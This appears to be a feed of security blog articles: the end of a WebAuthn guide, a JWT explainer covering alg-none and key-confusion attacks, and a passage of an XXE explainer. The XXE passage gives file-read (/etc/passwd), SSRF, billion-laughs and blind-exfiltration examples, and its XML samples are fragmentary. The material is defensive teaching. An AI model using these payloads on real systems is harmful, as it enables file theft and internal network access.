what kind of authenticator is this. During registration, the authenticator can include an **attestation statement**, signed evidence about its make, model, and security properties, which the relying party can verify against known metadata. There are several attestation formats and conveyance modes. In broad terms: - **None.** No attestation is conveyed. Common and appropriate for consumer sign-in, where the site does not need to know the device brand. - **Direct or basic.** The authenticator provides a certificate chain identifying its model, which the relying party checks against a metadata service. - **Self.** The credential attests to itself without a separate trust anchor. For most consumer services, requesting no attestation is the right call. It respects privacy and keeps enrollment simple. For regulated or high-assurance environments that must guarantee only approved hardware is used, attestation lets the relying party enforce an allowlist of authenticator models. Requiring attestation adds friction and privacy concerns, and it only helps if you actually verify the statement against an authenticator metadata service and enforce a policy on the result. If your service is ordinary consumer login, request none. Reach for attestation when a compliance or assurance requirement genuinely needs to pin the hardware. ## What the relying party must verify The server side is where WebAuthn deployments succeed or fail. A correct relying party, on each authentication, checks that the signature validates against the stored public key, that the challenge matches the one it issued, that the origin is exactly the expected one, that the relying party id hash matches, and that the user-presence flag is set. Skipping any of these weakens the guarantees the ceremony was designed to provide. Using a well-reviewed server library rather than hand-rolling this verification is strongly advised. To see which authentication-stack components are currently under active exploitation, our Exploit Intelligence dashboard tracks live vulnerabilities across WebAuthn libraries, identity providers, and the surrounding login infrastructure, so you can prioritise the flaws that attackers are actually using. ## User verification and discoverable credentials Two more WebAuthn concepts show up in real deployments. **User verification** is the difference between merely confirming a human is present (a touch) and confirming who that human is (a biometric or PIN). A relying party can require user verification when it wants the stronger check, or accept mere presence for lower-friction cases. The authenticator reports which it did through flags in the signed data, so the server can enforce its policy. **Discoverable credentials**, sometimes called resident keys, are what make usernameless login possible. Instead of the site telling the authenticator which credential id to use, the authenticator stores enough to find the right credential itself, so the user can start from a bare login screen and the authenticator offers the matching account. This is the mechanism that lets a passkey sign you in without typing a username first. Non-discoverable credentials, by contrast, need the server to supply the credential id, which keeps nothing on the authenticator but requires the user to identify themselves before the ceremony. ## A walkthrough of what actually gets signed The security properties become concrete once you look at the data the authenticator produces. During authentication the authenticator returns two blobs, and the relying party verifies a signature computed across them. The first is the **authenticator data**. It begins with a hash of the relying party id, so the server can confirm the assertion was produced for its own identifier and not some other site. Next comes a **flags** byte, whose bits report whether the user was present (a touch happened) and whether the user was verified (a biometric or PIN succeeded), plus a bit that says whether attested credential data or extensions are included. After the flags comes the **signature counter**, the incrementing value used for clone detection. The second is the **client data**. The browser assembles this and it records the type of ceremony (a create or a get), the exact **challenge** the server issued, and the **origin** the request ran on. The browser hashes this client data, and the authenticator signs the concatenation of the authenticator data and that hash with the private key. So the single signature ties together four independent facts: the relying party id (through the authenticator data), the challenge and origin (through the client data hash), the user-presence and user-verification state (through the flags), and the counter. A verifier that checks all of them leaves an attacker no room. Change the origin and the client data hash changes, so the signature fails. Replay an old response and the challenge inside the client data does not match the one the server just issued. Strip the user-verification requirement and the flag byte gives the server a way to reject the attempt. This is why the guidance to use a reviewed server library matters so much: every one of these checks has to run, and skipping the origin comparison or accepting a stale challenge quietly reopens the exact holes the ceremony was built to close. ## How it evolved from U2F WebAuthn did not appear from nothing. Its direct ancestor is U2F, the FIDO Alliance's Universal Second Factor, which let a site add a hardware key as a second step after a password. U2F keys signed a challenge bound to an origin, so they already delivered the phishing resistance that makes the family valuable. What U2F did not do was stand on its own. It was always a second factor sitting behind a password, and its browser interface was a separate, narrower API. FIDO2 generalized that work into two cleaner pieces. WebAuthn became a first-class W3C browser standard that could act as a second factor or as a primary, passwordless credential. CTAP2, the newer version of the Client to Authenticator Protocol, added the ability for an authenticator to store discoverable credentials and to perform user verification with a PIN or biometric on the key itself. Older U2F authenticators still work under WebAuthn through the CTAP1 compatibility path, which is why a security key bought years ago usually still registers on a modern WebAuthn site. The through-line across the whole history is origin-bound public-key signatures. Passkeys are the most recent layer: the same WebAuthn credentials, made discoverable and synchronized across a user's devices through a platform account, so the key survives losing a single phone. ## WebAuthn compared with older authentication methods It helps to place WebAuthn against the methods it is meant to replace or reinforce. | Method | Shared secret on server | Phishing resistant | Replay resistant | Notes | |---|---|---|---|---| | Password | Yes, a hash | No | No | Reusable, guessable, breached in bulk | | TOTP authenticator app | Yes, a seed | No | Within a time step | Code can be phished in real time | | SMS one-time code | Yes, at the provider | No | Within the code's life | Vulnerable to SIM swap and interception | | Push approval | No secret shared | Weakly | Yes | Prone to approval fatigue | | WebAuthn | No, only a public key | Yes | Yes | Private key never leaves the authenticator | The row that matters is the first column. Every method above WebAuthn leaves a secret on the server that a breach can expose and an attacker can phish. WebAuthn stores only a public key, which is useless to steal. That single structural difference is why it belongs at the top of an authentication roadmap rather than as one more code to type. ## Common mistakes and misconceptions A few misunderstandings cause most of the trouble in real deployments. **Treating the credential id as a secret.** The credential id is an identifier, not a secret. It travels in the clear and the server uses it to look up the matching public key. Security comes from the private key inside the authenticator, so there is no need to protect the credential id as though it were a password. **Verifying the signature but not the origin.** A signature can be perfectly valid and still come from an attacker's relayed session if the server never checks that the origin in the client data is its own. Origin verification is the phishing defense, and it is the check most often dropped by hand-rolled server code. **Assuming attestation is required.** Attestation identifies the make and model of the authenticator. It is optional and, for consumer login, usually undesirable because it adds friction and privacy exposure. A service that requests attestation without a metadata service to check it against and a policy to enforce gains nothing. **Relying on the counter alone.** The signature counter is a clone-detection signal, not a primary control. Many platform authenticators and passkey providers keep the counter at zero, so a server that hard-fails on a non-advancing counter will lock out legitimate users. Treat it as one input to risk, not a gate. **Confusing user presence with user verification.** A plain touch proves a human is present. A biometric or PIN proves which human. Requiring user verification when you only need presence adds friction, and accepting presence when you needed verification weakens the check. The flags byte reports which happened, so decide the policy deliberately and enforce it on the server. ## Operational and detection signals WebAuthn removes the phishing and replay problems, and it introduces its own operational surface to watch. Account recovery is the usual soft spot. If losing a device drops a user back to an email link or a knowledge question, an attacker will target that fallback rather than the credential. Recovery paths deserve the same scrutiny as the primary login, because they define the real strength of the account. Watch for a spike in recovery flows, which can indicate an attacker probing the weakest door. On the server, log the authenticator metadata you do collect: the credential id used, the user-verification state reported, and the counter value. A sudden appearance of many new credential registrations on one account, a counter that jumps in a way inconsistent with the device, or authentications that stop presenting user verification when they used to, are all worth an alert. None is proof of compromise on its own, and each is a thread worth pulling in an investigation. A phishing-resistant login sitting in front of an emailed reset link is only as strong as that link. Attackers move to the recovery flow the moment the front door is hardened. Register at least two authenticators per account where you can, so losing one device does not force a fall back to a weaker method, and hold recovery to the same standard as the credential it can replace. ## Frequently asked questions **Is WebAuthn the same thing as a passkey?** No. WebAuthn is the browser API and protocol. A passkey is a WebAuthn credential that is discoverable and, in most implementations, synchronized across a user's devices through a platform account. Every passkey uses WebAuthn, and not every WebAuthn credential is a passkey. A hardware security key bound to a single device is a WebAuthn credential that is not synchronized. **Can a WebAuthn credential be phished?** The credential itself cannot be phished, because the private key never leaves the authenticator and the signature is bound to the origin. An attacker who stands up a look-alike site cannot obtain a signature that validates for the real site, since the origin in the signed client data would be the attacker's domain. The residual risk moves to account recovery and to any weaker fallback method the account still allows. **What happens if I lose my only authenticator?** You fall back to whatever recovery the service offers. This is why registering more than one authenticator is the standard advice, and why synchronized passkeys exist: they let the credential survive the loss of a single device by living in a platform account across several devices. For high-value accounts, a second hardware key kept separately is a robust backup. **Does WebAuthn work without a password at all?** Yes. With discoverable credentials and user verification, WebAuthn can be the sole factor, since it proves possession of the private key and presence or identity of the user in one step. Many services still keep a password during a transition period, then retire it once passkey coverage is broad enough. **Why does the relying party id matter so much?** The relying party id scopes a credential to a site and is folded into what the authenticator signs. It is what stops a credential created for one domain from being used at another, and its hash inside the authenticator data lets the server confirm an assertion was meant for it. Setting it correctly, usually to the registrable domain, is essential to both the scoping and the phishing resistance. **Is attestation a privacy problem?** It can be. Attestation reveals the make and model of the authenticator, and in some formats a batch of devices shares a certificate to avoid identifying an individual unit. For consumer login, requesting no attestation avoids the concern entirely. Reach for it only where a compliance or assurance need genuinely requires pinning approved hardware. **Can one authenticator hold credentials for many sites?** Yes. An authenticator generates a separate key pair per relying party, so a single security key or platform authenticator can hold distinct credentials for a large number of sites, each scoped to its own origin and unusable anywhere else. ## Why it holds up WebAuthn's strength is that its security does not rest on user vigilance or on a secret that can be phished. The private key never leaves the authenticator, the challenge blocks replay, and the origin binding means a credential only works at the site that created it. Layer WebAuthn under passkeys for everyday accounts and under hardware keys for the highest-value ones, and you replace the password with a login that resists the attacks passwords never could. It pairs naturally with the step-up controls in the [Two-Factor Authentication Guide](/two-factor-authentication-guide), and in most cases replaces them outright. ## Related guides - [FIDO2 vs WebAuthn vs Passkeys](/fido2-vs-webauthn-vs-passkeys) - [Passkeys Explained](/passkeys-explained) - [Best Hardware Security Keys](/best-hardware-security-keys) - [Two-Factor Authentication Guide](/two-factor-authentication-guide) - [How Digital Signatures Work](/how-digital-signatures-work) ### Sources - Web Authentication: An API for accessing Public Key Credentials (WebAuthn Level 2) (W3C): https://www.w3.org/TR/webauthn-2/ - FIDO2: WebAuthn and CTAP (FIDO Alliance): https://fidoalliance.org/fido2/ - OWASP: Authentication Cheat Sheet (OWASP): https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html --- ## What Is a JWT? JSON Web Tokens Explained > A plain guide to JSON Web Tokens: the header, payload, and signature, how stateless auth works, what the parts mean, and the pitfalls that bite teams. - URL: https://blog.pwnsy.com/what-is-a-jwt - Date: 2026-07-24 - Updated: 2026-07-24 - Difficulty: beginner - Category: web-security - Tags: jwt, authentication, tokens, web-security, sessions - Related: [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification), [Credential Stuffing Explained: How Reused Passwords Get Exploited](https://blog.pwnsy.com/credential-stuffing-explained) ### TL;DR - A JWT is a compact, signed token that carries claims about a user or client as JSON, so a server can trust its contents without a database lookup. - It has three parts separated by dots: a header, a payload, and a signature, each Base64URL-encoded. - The signature is what makes a JWT trustworthy. Anyone can read the payload, but only the holder of the key can produce a valid signature. - JWTs enable stateless authentication, which is convenient, but the same statelessness makes revocation and long lifetimes genuinely hard to get right. ### Key Takeaways - A JWT is Base64URL-encoded, not encrypted. The payload is readable by anyone, so never put secrets in it. - The signature covers the header and payload, so tampering with either invalidates the token, provided the server actually verifies it. - Signing can be symmetric (HMAC, one shared secret) or asymmetric (RS256 or ES256, private key signs, public key verifies). - The most notorious JWT bugs come from trusting the token's own `alg` header, including the `none` algorithm and key confusion attacks. - Because a valid JWT is accepted until it expires, keep access-token lifetimes short and design a revocation strategy up front. Log in to almost any modern web application and somewhere behind the scenes a JSON Web Token is doing the work. It is the string that travels with your requests to prove you are still the person who logged in a few minutes ago. JWTs are everywhere because they are simple, portable, and let a server verify a claim without asking a database. Those same properties are also where teams get into trouble. This guide takes a JWT apart, shows what each piece does, explains the stateless model it enables, and walks through the pitfalls that show up in real breaches. ## The shape of a token A JWT is one long string with two dots in it. It looks like this: ``` eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0IiwibmFtZSI6IkFsaWNlIn0.dBjftJeZ4CVP-mB92K27uhbUJU1p1r_wW1gFWFOEjXk ``` Those two dots split it into three parts: `header.payload.signature`. Each part is Base64URL-encoded, which is a URL-safe variant of Base64. Decoding the first two parts gives you plain JSON. This matters and it surprises people: the contents are encoded, not encrypted. Anyone who holds the token can read the header and payload. ### The header The header is a small JSON object that describes the token itself. Two fields matter most: ```json { "alg": "HS256", "typ": "JWT" } ``` `typ` states that this is a JWT. `alg` names the algorithm used to produce the signature, for example `HS256` (HMAC with SHA-256) or `RS256` (RSA signature with SHA-256). Hold on to the `alg` field. It is convenient and it is also the source of the most famous JWT attacks. ### The payload The payload carries the **claims**, the statements the token is making. Claims come in registered, public, and private varieties. The registered ones defined by the standard are the important ones to know: | Claim | Meaning | |---|---| | `iss` | Issuer: who created the token | | `sub` | Subject: who the token is about, often the user id | | `aud` | Audience: who the token is intended for | | `exp` | Expiry time: after this, reject the token | | `nbf` | Not before: do not accept it before this time | | `iat` | Issued at: when it was created | | `jti` | A unique id for the token | Alongside these you can add your own claims, such as a role or a tenant id. Because the payload is only encoded, never place passwords, API keys, or anything else sensitive in it. Treat everything in a JWT payload as public. ### The signature The signature is what makes the whole thing trustworthy. It is computed over the encoded header and encoded payload together, using the algorithm named in the header and a key. In pseudocode: ``` signature = HMAC-SHA256(base64url(header) + "." + base64url(payload), secret) ``` Because the signature covers both the header and the payload, changing a single character in either one makes the signature no longer match. A server that verifies the signature will reject a tampered token. The security of a JWT rests entirely on the server actually performing that check with the right key. For the underlying keyed-hash mechanism, see [What Is HMAC](/what-is-hmac). A standard signed JWT hides nothing. The payload is Base64URL, which anyone can decode in a browser console. The signature stops tampering, not reading. If you need the contents to be secret, that is a separate mechanism (JWE), not a plain JWT. ## Signing: shared secret or key pair There are two families of signing algorithm, and the difference decides who can create valid tokens. **Symmetric (HMAC, for example HS256)** uses a single shared secret. Whoever holds that secret can both create and verify tokens. This is simple and fast, and it fits a single service that both issues and checks its own tokens. The risk is that the same key does both jobs, so anyone who can verify can also forge. **Asymmetric (for example RS256 or ES256)** uses a key pair. The issuer signs with a private key, and any number of services verify with the matching public key. The public key cannot create tokens, only check them. This is the right model when one authorization server issues tokens that many independent services must trust, which is common in OpenID Connect. See [OAuth 2.0 Explained](/oauth-2-explained) for where these tokens fit in a full login flow. ## Stateless authentication The reason JWTs took over is the stateless session model. In the classic approach, a server stores session data and hands the browser a random session id; every request, the server looks that id up. With JWTs, the token itself carries the claims, signed, so the server can verify the request by checking the signature and the expiry, with no lookup. That buys real advantages. It scales horizontally with ease, because any server instance holding the verification key can validate a request without shared session storage. It works cleanly across services and domains. It removes a database round trip from every request. The cost is the flip side of the same coin. A signed token is valid until it expires, and the server is not consulting any store that could say "this user logged out" or "this account is suspended". Revoking a JWT before its expiry is the hard problem of the whole model. The usual answer is a two-token pattern. Issue a short-lived **access token**, the JWT that rides along on API calls, and a longer-lived **refresh token** that the client exchanges for a new access token when the old one expires. The refresh token is stored and checked server-side, so you can revoke it: delete it, and the user cannot mint new access tokens, and the last short-lived one dies on its own within minutes. This gives you the scaling benefit of stateless access tokens while keeping a genuine off switch through the refresh path. The design decision, and it is a real one, is how short to make the access token: shorter means a smaller theft window but more refresh traffic. Keep access-token lifetimes short, on the order of minutes, and pair them with longer-lived refresh tokens you can revoke server-side. That way a stolen access token has a small window, and you retain a real off switch through the refresh flow. Decide this before launch, not after an incident. ## The pitfalls that cause breaches JWT problems cluster around a handful of recurring mistakes. **Trusting the `alg` header.** The token tells the server which algorithm to use, and naive verification believes it. Two classic attacks follow. The `none` algorithm, where an attacker sets `alg` to `none`, strips the signature, and a lax library accepts an unsigned token. And key confusion, where a server expecting RS256 is tricked into treating the public key as an HMAC secret by switching `alg` to HS256. The fix is to fix the accepted algorithm on the server and never derive it from the token. **Not verifying at all, or verifying weakly.** Decoding a JWT and reading its claims without checking the signature accepts anything anyone sends. Always verify the signature, the issuer, the audience, and the expiry. **Long or missing expiry.** A token with no `exp`, or a very long one, is a credential that lives forever if stolen. Set short lifetimes. **Secrets in the payload.** Covered above, and still common. The payload is public. **Weak HMAC secrets.** A short or guessable HS256 secret can be brute-forced offline, letting an attacker forge valid tokens. Use a long, random secret. **Storing the token unsafely in the browser.** A JWT is only as safe as the place you keep it. Put an access token in `localStorage` and any cross-site scripting flaw on your page can read it and walk off with a valid credential. Keep it in a cookie marked `HttpOnly`, `Secure`, and `SameSite`, and script cannot read it, which shrinks the blast radius of an injection considerably. This is a browser-side decision that people often make by accident, so make it on purpose. A stolen token is a live session until it expires, which loops back to keeping lifetimes short and is a common path to [session hijacking](/session-hijacking-explained). For a fuller treatment of these attacks, see [JWT Attacks Explained](/jwt-attacks-explained). To see which JWT and token-handling library flaws are currently being exploited in the wild, our Exploit Intelligence dashboard tracks live vulnerabilities across authentication components so you can prioritise the ones under real pressure. ## Using JWTs safely The short version fits on one hand. Verify every token's signature with a server-fixed algorithm. Check `exp`, `iss`, and `aud`, along with the signature. Keep access tokens short and back them with revocable refresh tokens. Put nothing secret in the payload. Use a strong secret or a proper key pair. Do that, and the JWT does exactly the job it is good at: proving, cheaply and statelessly, that a request comes from someone who really logged in. ## Decoding a token by hand The best way to internalise how little a signed JWT hides is to take one apart. The example string near the top of this guide has three dot-separated parts. The first part decodes from Base64URL to the JSON header, which reads as an object with `alg` set to `HS256` and `typ` set to `JWT`. The second part decodes to the payload, a JSON object with a subject claim and a name claim. Neither decode step requires any key or secret. Any browser console, any command-line tool, any small script can turn those first two segments back into readable JSON in an instant. That is the whole point of the "encoded, not encrypted" warning made concrete. Base64URL is a reversible transport encoding whose only job is to make binary data safe to carry in a URL or header. It scrambles nothing. If you drop a customer's email, a role, or an internal identifier into the payload, you have effectively published it to anyone who ever holds the token, including the browser it sits in and any log that records it. The third segment, the signature, is where a key finally enters. To verify an `HS256` token, the server recomputes the HMAC over the exact bytes of the encoded header, a dot, and the encoded payload, using its secret, then compares the result to the signature segment. If a single character of the header or payload changed in transit, the recomputed value will not match and verification fails. The signature does not conceal the contents; it proves that the contents have not been altered since they were signed and that they were signed by a holder of the key. Reading and trusting are separate operations, and a JWT gives you strong assurance of the second while offering none of the first. Walking through the decode also clarifies why the order of checks matters. A library that decodes the payload and returns its claims before, or instead of, verifying the signature hands you attacker-controlled data dressed up as trusted claims. The claims are only meaningful after the signature, the algorithm, the issuer, the audience, and the expiry have all been checked. Decoding is trivial; verifying is the security step. ## The attacks, mechanism by mechanism The famous JWT failures are worth understanding at the level of what the server is tricked into doing, because the pattern is the same each time: the server trusts something the attacker controls. The **`none` algorithm attack** exploits a server that reads the algorithm from the token. An attacker takes a valid token, changes the header's `alg` to `none`, and removes the signature entirely. A library that honours the header's instruction sees `none`, concludes that no signature is required, and accepts the token as authentic. The attacker can now put any claims they like in the payload, including a different subject or an elevated role, and the server treats them as verified. The root cause is that the server let the token dictate its own verification rules. The **key confusion attack**, sometimes called the algorithm-substitution attack, targets a server that verifies asymmetric tokens. Suppose the server issues `RS256` tokens, signing with a private key and verifying with the matching public key, which is not a secret. An attacker crafts a token with the header's `alg` changed to `HS256` and signs it using the public key as if it were an HMAC secret. A naive library, seeing `HS256`, calls its HMAC verification routine and reaches for the configured key, which for RSA verification is the public key. Because the attacker used that same public value to sign, the HMAC matches, and the forged token passes. The server's own public key becomes the forging secret. Both attacks share a fix: pin the accepted algorithm on the server side and never derive it from the token. **Weak HMAC secrets** turn a well-designed scheme into a crackable one. If a service signs with `HS256` using a short or dictionary-word secret, an attacker who captures one valid token can run an offline attack, guessing candidate secrets, recomputing the HMAC, and checking for a match, exactly the offline-guessing shape that plagues weak passwords. Once they recover the secret, they can forge any token they want. A long, random, high-entropy secret makes this infeasible. **Missing or unchecked claims** are quieter but just as damaging. A server that verifies the signature but ignores `exp` accepts expired tokens forever. One that ignores `aud` may accept a token that was legitimately issued for a different service. One that ignores `iss` may accept a validly signed token from an issuer it never intended to trust. The signature proves integrity; the registered claims are what bind the token to a purpose, a lifetime, and an audience, and skipping them defeats their reason for existing. Almost every serious JWT bug reduces to one sentence: the server trusted a value the attacker controlled. The `alg` header, the signature's presence, the claims inside the payload, all of these arrive from the client and mean nothing until the server has independently decided which algorithm and key it will accept and then checked the token against that decision. Fix the algorithm on the server, verify with the correct key, and validate the standard claims, and the entire family of forgery attacks closes at once. ## JWTs compared with server-side sessions Because JWTs are so often introduced as the modern replacement for sessions, it helps to see the two models side by side. Each makes a different trade, and the right choice depends on what you are building. | Property | Server-side session | Stateless JWT | |---|---|---| | Where state lives | Server store, keyed by a random id | Inside the token, carried by the client | | Revocation | Immediate: delete the server record | Hard: valid until it expires | | Lookup per request | Database or cache read | Signature check, no lookup | | Horizontal scaling | Needs shared session storage | Any node with the key can verify | | Cross-service use | Awkward, tied to one store | Natural, especially with asymmetric keys | | Blast radius of theft | Session can be killed at once | Token works until expiry | The table explains why the two-token pattern exists. Pure server-side sessions give instant revocation and pay for it with a lookup on every request and shared storage. Pure long-lived JWTs give effortless scaling and pay for it with a revocation problem. Pairing a short-lived JWT access token with a revocable, server-checked refresh token takes the scaling benefit of the token for the common case, the per-request check, while keeping a genuine off switch on the refresh path. The access token stays stateless and fast; the refresh token stays stateful and revocable. This is the design most production systems converge on because it captures the useful half of each model. ## Common mistakes A handful of implementation mistakes account for most JWT trouble in practice, and they cluster around the same overconfidence in the token. **Decoding without verifying.** Client-side or server-side, reading the payload for its claims without checking the signature accepts anything anyone sends. The decode is free and the verify is the security boundary, so treat any unverified claim as untrusted input. **Letting the token pick the algorithm.** Passing the header's `alg` straight into the verification call is the doorway to the `none` and key-confusion attacks. Configure the one algorithm your server accepts and reject anything else before verification begins. **Storing access tokens in `localStorage`.** Anything readable by JavaScript is readable by an injected script, so a single cross-site scripting flaw hands over a live credential. A cookie marked `HttpOnly`, `Secure`, and `SameSite` keeps the token out of script's reach and shrinks the damage an injection can do. **Putting sensitive data in the payload.** The payload is public to anyone who holds the token. Roles and identifiers are fine; passwords, keys, and personal secrets are not. **Skipping expiry, audience, and issuer checks.** A validated signature on a token you were never meant to accept still gets you compromised. Check that the token has not expired, was meant for your service, and came from an issuer you trust. **Treating logout as if it kills the token.** Deleting a token from the browser stops that browser from sending it, but a copy an attacker already holds keeps working until it expires. Real invalidation runs through the revocable refresh token and short access-token lifetimes, which is why those two choices are load-bearing. ## Frequently asked questions **Is a JWT encrypted?** A standard signed JWT is not encrypted. The header and payload are Base64URL-encoded, which anyone can reverse to plain JSON without any key. The signature protects against tampering, not against reading. If you need the contents to be confidential, that is a separate mechanism (JWE, JSON Web Encryption), and it is a different construction from a plain signed token. **Where should I store a JWT in a browser?** Prefer a cookie marked `HttpOnly`, `Secure`, and `SameSite`, which keeps the token out of reach of page scripts and reduces what a cross-site scripting flaw can steal. Storing it in `localStorage` makes it readable by any script on the page, so a single injection can walk off with a valid credential. Whichever you choose, keep the access-token lifetime short. **Why is revoking a JWT hard?** Because a stateless access token is trusted purely on its signature and expiry, with no server lookup that could mark it dead. The common answer is to keep access tokens short-lived and pair them with a longer-lived refresh token that is stored and checked server-side. Deleting the refresh token stops new access tokens from being minted, and the last short-lived one expires on its own within minutes. **What is the difference between HS256 and RS256?** `HS256` is symmetric: one shared secret both creates and verifies tokens, which suits a single service that issues and checks its own tokens. `RS256` is asymmetric: a private key signs and a separate public key verifies, so many independent services can verify tokens issued by one authorization server without being able to forge them. Choose `RS256`-style asymmetric signing when multiple parties must trust tokens from one issuer. **How long should an access token live?** Short, typically on the order of minutes. A shorter lifetime shrinks the window in which a stolen token is useful, at the cost of more frequent refreshes. The refresh token carries the longer session and can be revoked server-side, so you get a small theft window on the access token and a real off switch on the refresh path. **Can I put a user's role or permissions in a JWT?** Yes, that is a normal use of a private claim, and it is part of why JWTs enable stateless authorization. Keep in mind the payload is public, so a role is visible to anyone holding the token, and the values are only trustworthy after the signature and standard claims are verified. Sensitive data still does not belong in the payload. **What makes the `alg` header dangerous?** It lets the token suggest which algorithm the server should use to verify it, and a server that obeys that suggestion can be tricked. Setting `alg` to `none` invites the server to skip signature checking; switching it to `HS256` on an `RS256` system invites the key-confusion attack. Pin the algorithm on the server and ignore the token's claim about it. ## Related guides - [JWT Attacks Explained](/jwt-attacks-explained) - [OAuth 2.0 Explained](/oauth-2-explained) - [What Is HMAC](/what-is-hmac) - [Session Hijacking Explained](/session-hijacking-explained) ### Sources - JSON Web Token (JWT) (RFC 7519) (IETF): https://datatracker.ietf.org/doc/html/rfc7519 - JSON Web Signature (JWS) (RFC 7515) (IETF): https://datatracker.ietf.org/doc/html/rfc7515 - OWASP: JSON Web Token Cheat Sheet (OWASP): https://cheatsheetseries.owasp.org/cheatsheets/JSON_Web_Token_for_Java_Cheat_Sheet.html --- ## XXE Injection: XML External Entities, File Disclosure & SSRF > How XML external entity injection reads local files, triggers SSRF, and crashes parsers, plus how disabling DTDs and external entities stops it. - URL: https://blog.pwnsy.com/xxe-injection-explained - Date: 2026-07-24 - Updated: 2026-07-24 - Difficulty: intermediate - Category: web-security - Tags: xxe, web-security, owasp, xml, appsec - Related: [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification), [Credential Stuffing Explained: How Reused Passwords Get Exploited](https://blog.pwnsy.com/credential-stuffing-explained) ### TL;DR - XXE abuses an XML parser configured to resolve external entities, letting an attacker's XML pull in local files, reach internal systems, or exhaust the parser. - The two headline impacts are file disclosure (reading server files like /etc/passwd) and SSRF (forcing the parser to fetch internal URLs). - Blind XXE, where the response is not returned, is still exploitable through out-of-band channels that exfiltrate data to an attacker-controlled server. - The fix is direct: disable Document Type Definitions and external entity resolution in every XML parser, which removes the feature the attack depends on. ### Key Takeaways - XXE is a parser-configuration flaw: XML that resolves external entities is dangerous, and most parsers resolve them by default unless told not to. - External entities can point at local files, internal HTTP endpoints, or the cloud metadata service, which turns XXE into a file-read and SSRF primitive at once. - The billion-laughs attack is a denial-of-service variant that uses nested internal entities to expand a tiny document into gigabytes in memory. - Disabling DTDs entirely is the most robust defense; where a parser cannot disable DTDs, disable external general and parameter entities explicitly. - XXE hides in any feature that parses uploaded or user-supplied XML: SOAP, SVG, SAML, office documents, RSS, and configuration imports. XML has a feature most developers never knowingly use: a document can define an entity that points at an external resource, and a compliant parser will go fetch that resource and paste its contents into the document. Turn that feature loose on attacker-supplied XML and the parser becomes a tool for reading files off the server and making requests into the internal network. That is XML external entity injection, XXE. The vulnerability comes from a dangerous default in how parsers implement the XML standard. For years, common XML libraries resolved external entities out of the box, so any endpoint that parsed user-supplied XML without hardening the parser was exposed. The impact ranges from quietly reading configuration secrets to full server-side request forgery. ## How XML entities work An XML document can declare entities in a Document Type Definition, or DTD. An internal entity is a simple text substitution. An external entity tells the parser to load content from a URI, which is where the trouble starts. A benign internal entity looks like this: ``` ]> &company; ``` The parser replaces `&company;` with `Pwnsy`. Harmless. Now change the entity to point at a file: ``` ]> &xxe; ``` If the parser resolves external entities, it reads `/etc/passwd` from the server's filesystem and substitutes its contents wherever `&xxe;` appears. When the application echoes that XML value back in a response, the attacker reads the file. The application never intended to expose the filesystem. The parser did it on the application's behalf. The `SYSTEM` keyword is the pivot. It tells the parser the entity's value is a resource to be retrieved from the identifier that follows rather than the literal text of that identifier. A parser that honors it will dutifully open whatever the identifier names, whether that is a file path, an HTTP URL, or another scheme the underlying library supports. The application code that called the parser sees none of this. It asked for a document to be parsed and got back a fully populated object, unaware that populating it involved reaching out to the filesystem or the network. There are two kinds of entity that matter for exploitation. A general entity, declared as `` and referenced in the document body with `&name;`, is the type shown above. A parameter entity, declared as `` and referenced inside the DTD itself with `%name;`, lives one level deeper in the parsing machinery. The distinction becomes important later, because some hardening turns off one type and leaves the other reachable. Attackers who study parser internals gravitate toward whichever entity type the defense forgot. The scheme handlers available to an entity depend on the language and library underneath the parser. Java parsers have historically exposed a wide range, including `file`, `http`, `https`, `ftp`, `jar`, and `netdoc`, and some of those schemes have their own quirks that widen the attack. The `jar` scheme, for instance, can make a Java parser fetch and open an archive, which has been abused to hold a connection open or to reach files inside packaged resources. The practical lesson is that the entity URI is only a request, and what that request can do is decided by the runtime, so two applications with the same parser configuration on different platforms can present very different attack surfaces. ## A worked example: reading a file through a form field It helps to trace a concrete flow end to end. Picture an application that accepts an XML document describing an order and returns a confirmation that echoes the customer name back to the browser. The intended request looks like this: ``` Jordan SKU-4471 ``` The server parses that, pulls out the customer element, and renders "Thank you, Jordan" in the response. Now an attacker submits a document that declares an external entity and uses it where the customer name belongs: ``` ]> &xxe; SKU-4471 ``` If the parser resolves external entities, it reads the host file, substitutes the contents into the customer element, and the application dutifully renders "Thank you, " followed by the server's hostname. The attacker changed nothing about the application logic. They supplied a document that instructed the parser to fetch a file, and the reflection feature the developer built for names became a file viewer. The same document with `file:///etc/passwd` returns a list of accounts. With a path to the application's own configuration it can return database credentials. The only constraints are what the process user can read and what the reflected element will faithfully print. Files with characters that break XML parsing, such as raw ampersands or angle brackets, may fail to substitute cleanly, which is why attackers often wrap the read in a base64 conversion where the platform allows it. On some Java and PHP stacks a filter or wrapper can encode the file first, so the entity returns printable text that always survives the parse. ## The two headline impacts ### File disclosure The example above is the canonical XXE: point an external entity at a local file and have the application reflect it back. Attackers read `/etc/passwd`, application source, configuration files holding database credentials, cloud credential files, and private keys. Anything the application's user account can read is in scope. ### SSRF via XXE An external entity URI does not have to be a `file://` path. Point it at an HTTP URL and the parser makes the request: ``` ]> &xxe; ``` Now the XML parser is a server-side request forgery engine. It reaches internal-only services and, in the cloud, the instance metadata endpoint that hands out temporary credentials. This is why XXE and SSRF are cousins: XXE gives an attacker a parser that fetches URLs from inside your network. For the full picture of what a request from inside the perimeter can reach, see our [SSRF explainer](/ssrf-explained). ### Denial of service: billion laughs XXE also enables a classic amplification attack using only internal entities, no external fetch required: ``` ]> &lol3; ``` Each level multiplies the previous one tenfold. A few more layers and a document a few hundred bytes long expands into gigabytes in memory, taking the process down. This is the billion-laughs attack, and it is why disabling DTD processing entirely is the safest posture. ## Blind XXE and out-of-band exfiltration Many real targets never reflect the parsed XML back in a response. That does not make them safe. Blind XXE uses out-of-band channels to move data off the server. The attacker hosts an external DTD that defines parameter entities to read a local file and then send its contents to an attacker-controlled server as part of a URL: - The vulnerable parser fetches the attacker's external DTD. - The DTD reads a local file into an entity. - The DTD triggers a request to the attacker's server with the file contents embedded in the URL or an error message. The attacker never sees the application's HTTP response. They read the exfiltrated data from their own server's logs. Timing and error-based variants extend this further. Blind XXE is slower and noisier, and it is fully exploitable. There is a wrinkle worth knowing. Some parsers block external general entities but still 